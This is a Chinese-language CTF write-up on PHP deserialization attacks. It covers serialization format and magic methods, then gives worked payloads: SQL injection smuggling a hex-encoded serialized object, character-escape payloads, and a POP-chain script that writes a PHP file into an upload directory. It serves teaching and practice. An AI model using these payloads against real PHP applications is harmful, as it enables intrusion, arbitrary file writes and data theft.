序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
php 将数据序列化和反序列化会用到两个函数
serialize 将对象格式化成有序的字符串
unserialize 将字符串还原成原来的对象
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";} #了解php的序列化之后字符串的含义
序列化的时候需要注意
public,protected,private访问修饰符,分别对应着类中的 公有、私有、受保护成员。引用解释 不同的访问修饰符对应的序列化也有不同。 各访问修饰符序列化后的区别: public:属性被序列化的时候属性名还是原来的属性名,没有任何改变 protected:属性被序列化的时候属性名会变成%00*%00 属性名,长度跟随属性名长度而改变 private:属性被序列化的时候属性名会变成%00 类名%00 属性名,长度跟随属性名长度而改变 输出时一般需要url编码
输出则会导致不可见字符\x00的丢失
O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}
__wakeup() //执行unserialize()时,先会调用这个函数 __sleep() //执行serialize()时,先会调用这个函数 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发,比如使用 echo 或者 .连接 或者 file_exists()判断也会触发 __invoke() //当尝试将对象调用为函数时触发
知识点
源码泄露
代码审计
sql 注入
反序列化
上传文件,发现 id 参数,肯定和 sql 注入有关,但是怎么利用呢??不知道了
原来通过搜索关键字,可以在 github 上的得到源码
关键源码 反序列,显示图片属性,
序列化,存储图片属性
检查图片属性,这里唯一可控的是 filename,进而控制-->参数 title,因为要存储,和数据库交互,存在 sql 注入
读 flag 的方法
上传图片的 sql 语句
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('TIM截图 20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')
根据源码,写序列化脚本
<?php class helper { protected $ifview = True; protected $config = "/flag"; } $a = new helper(); echo serialize($a); ?>
O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
因为 protected 属性,需要\0
填补 payload:O:6:"helper":2:{s:9:"\0\0\0ifview";b:1s:9:"\0\0\0config";s:5:"/flag";}
有双引号过滤,无法传递,这里注意 sql 语句可以使用 16 进制绕过
所以最终 payload filename=s1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg
修改 filename,得 flag
字符逃逸,一定是 先 serialize(),然后 过滤字符串长度发生变化,然后 unserialize() 。从而实现逃逸,不管字符增多 or 字符减少,都一样,就是我们构造的都是反序列化之后的字符串
主要分两种
例题[0CTF 2016]piapiapia
知识点- 反序列化逃逸--增加
preg_replace 用数组绕过
[安洵杯 2019]easy_serialize_php
知识点:反序列化逃逸--减少
GET部分:?f=show_image POST部分:_SESSION[user]=flagflagflagflagflagflagflag&_SESSION[function]=a:2:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"chen";s:4:"qwsn";}
- 回显:$flag = 'flag in /d0g3_fllllllag';
POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法。
简单看例题,即可理解
知识点
代码审计,PHP 反序列化。-pop 链构造方法
__get() 在调用不可访问的属性的时候触发 __call() 在调用不可访问的方法的时候触发
这里,我们如果把
$this->checher
赋值为 Profile 对象,那么就会调用 Profile 对象中的 index() 方法,这个方法在 Profile 中是不存在的,所以会调用
__call()
call方法又会调用
$this->index
index 属性在 Profile 中也是不存在的,就会触发
__get()
方法,那么我们再设置 Profile 中的
except[’index‘]
为 upload_img 的话,就会成功触发 upload_img() 。
原文链接:https://blog.csdn.net/qq_41891666/article/details/107382969
所以整个利用链为:
Register -> __destruct Profile -> __call Profile -> __get Profile -> upload_img
<?php namespace app\web\controller; class Profile { public $except =array('index'=>'upload_img') ; public $checker = 0 ; public $ext = 1 ; public $filename_tmp = '../public/upload/b53eda8702c8684a87f1f73fe6db33f0/d8f8dedc0591f3b913dbcdf0fdea2687.png' ; public $filename = '../public/upload/b53eda8702c8684a87f1f73fe6db33f0/kkkk.php' ; public $upload_menu = ''; } class Register { public $registed = 0; public $checker ; } $a =new Register(); $a -> checker = new Profile(); echo base64_encode(serialize($a)); // echo serialize($a);
刚开始报错没有反应,多刷新几次,即可访问